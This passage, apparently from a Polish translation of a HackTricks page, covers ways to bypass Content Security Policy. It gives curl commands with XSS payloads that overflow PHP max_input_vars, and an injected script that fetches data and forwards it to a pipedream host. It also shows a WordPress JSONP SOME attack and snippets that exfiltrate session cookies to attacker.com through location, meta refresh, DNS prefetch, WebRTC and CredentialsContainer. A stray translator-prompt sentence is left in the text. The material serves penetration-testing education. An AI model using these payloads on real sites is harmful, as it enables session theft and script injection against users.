Zgodnie z last technique commented in this video, wysłanie zbyt wielu parametrów (1001 parametrów GET — chociaż można to zrobić też z parametrami POST i ponad 20 plikami). Każde zdefiniowane header()
w kodzie PHP nie zostanie wysłane z powodu błędu, który to spowoduje.
PHP response buffer overload
PHP jest znane z buforowania odpowiedzi do 4096 bajtów domyślnie. W związku z tym, jeśli PHP pokazuje ostrzeżenie, dostarczając wystarczającą ilość danych w obrębie ostrzeżeń, odpowiedź zostanie wysłana przed nagłówkiem CSP, powodując, że nagłówek zostanie zignorowany.
Technika polega zasadniczo na zapełnieniu bufora odpowiedzi ostrzeżeniami, tak aby nagłówek CSP nie został wysłany.
Idea from this writeup.
Kill CSP via max_input_vars (headers already sent)
Ponieważ nagłówki muszą być wysłane przed jakimkolwiek outputem, ostrzeżenia generowane przez PHP mogą unieważnić późniejsze wywołania header()
. Jeśli dane od użytkownika przekroczą max_input_vars
, PHP najpierw zgłosi ostrzeżenie startowe; każde kolejne header('Content-Security-Policy: ...')
zakończy się błędem „headers already sent”, skutecznie wyłączając CSP i umożliwiając inaczej zablokowane reflective XSS.
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
Proszę wstawić zawartość pliku README.md (albo wskazać fragment), który mam przetłumaczyć na polski. Zachowam dokładnie oryginalny markdown/HTML, nie przetłumaczę kodu, ścieżek, tagów ani linków zgodnie z wytycznymi.
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
Przepisanie strony błędu
Z this writeup wynika, że można było obejść ochronę CSP przez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej zawartości.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)
SOME + 'self' + wordpress
SOME to technika, która wykorzystuje XSS (lub bardzo ograniczone XSS) w endpointcie strony, aby nadużyć innych endpointów tej samej origin. Odbywa się to przez załadowanie podatnego endpointu ze strony atakującego, a następnie odświeżenie tej strony do rzeczywistego endpointu w tej samej origin, który chcemy nadużyć. W ten sposób podatny endpoint może użyć obiektu opener
w payloadzie, aby dostępować do DOM rzeczywistego endpointu przeznaczonego do nadużyć. Więcej informacji sprawdź:
SOME - Same Origin Method Execution
Co więcej, wordpress ma endpoint JSONP pod /wp-json/wp/v2/users/1?_jsonp=data
, który odzwierciedli wysłane data w odpowiedzi (z ograniczeniem do liter, cyfr i kropek).
Atakujący może wykorzystać ten endpoint do wygenerowania SOME attack przeciw WordPress i osadzić go wewnątrz <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
— zauważ, że ten script zostanie załadowany, ponieważ jest dozwolony przez 'self'. Ponadto, skoro WordPress jest zainstalowany, atakujący może wykorzystać SOME attack przez podatny callback endpoint, który omija CSP, aby nadać użytkownikowi więcej uprawnień, zainstalować nowy plugin...
Dodatkowe informacje o wykonaniu tego ataku: https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
Jeśli obowiązuje ścisła polityka CSP, która nie pozwala na interakcję z zewnętrznymi serwerami, są pewne metody, które zawsze możesz zastosować, aby wyeksfiltrować informacje.
Location
Możesz po prostu zaktualizować location, aby wysłać na serwer atakującego tajne informacje:
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
Meta tag
Możesz przekierować, wstrzykując meta tag (to jest tylko przekierowanie, to nie spowoduje leak zawartości)
<meta http-equiv="refresh" content="1; http://attacker.com" />
DNS Prefetch
Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i zapisywać je w pamięci podręcznej do późniejszego użycia.
Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: <link rel="dns-prefetch" href="something.com">
Można nadużyć tego zachowania, aby exfiltrate sensitive information via DNS requests:
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'
Inny sposób:
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
Aby temu zapobiec, serwer może wysłać HTTP header:
X-DNS-Prefetch-Control: off
tip
Najwyraźniej ta technika nie działa w headless browsers (bots)
WebRTC
Na kilku stronach można przeczytać, że WebRTC nie sprawdza polityki connect-src
w CSP.
W rzeczywistości możesz leak informacje używając DNS request. Zobacz ten kod:
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
Inna opcja:
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
CredentialsContainer
Wyskakujące okno z poświadczeniami wysyła zapytanie DNS do iconURL i nie jest ograniczane przez stronę. Działa tylko w kontekście bezpiecznym (HTTPS) lub na localhost.
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)
Sprawdzanie polityk CSP online
Automatyczne tworzenie CSP
https://csper.io/docs/generating-content-security-policy
Źródła
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
- https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket
- The Art of PHP: CTF‑born exploits and techniques
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.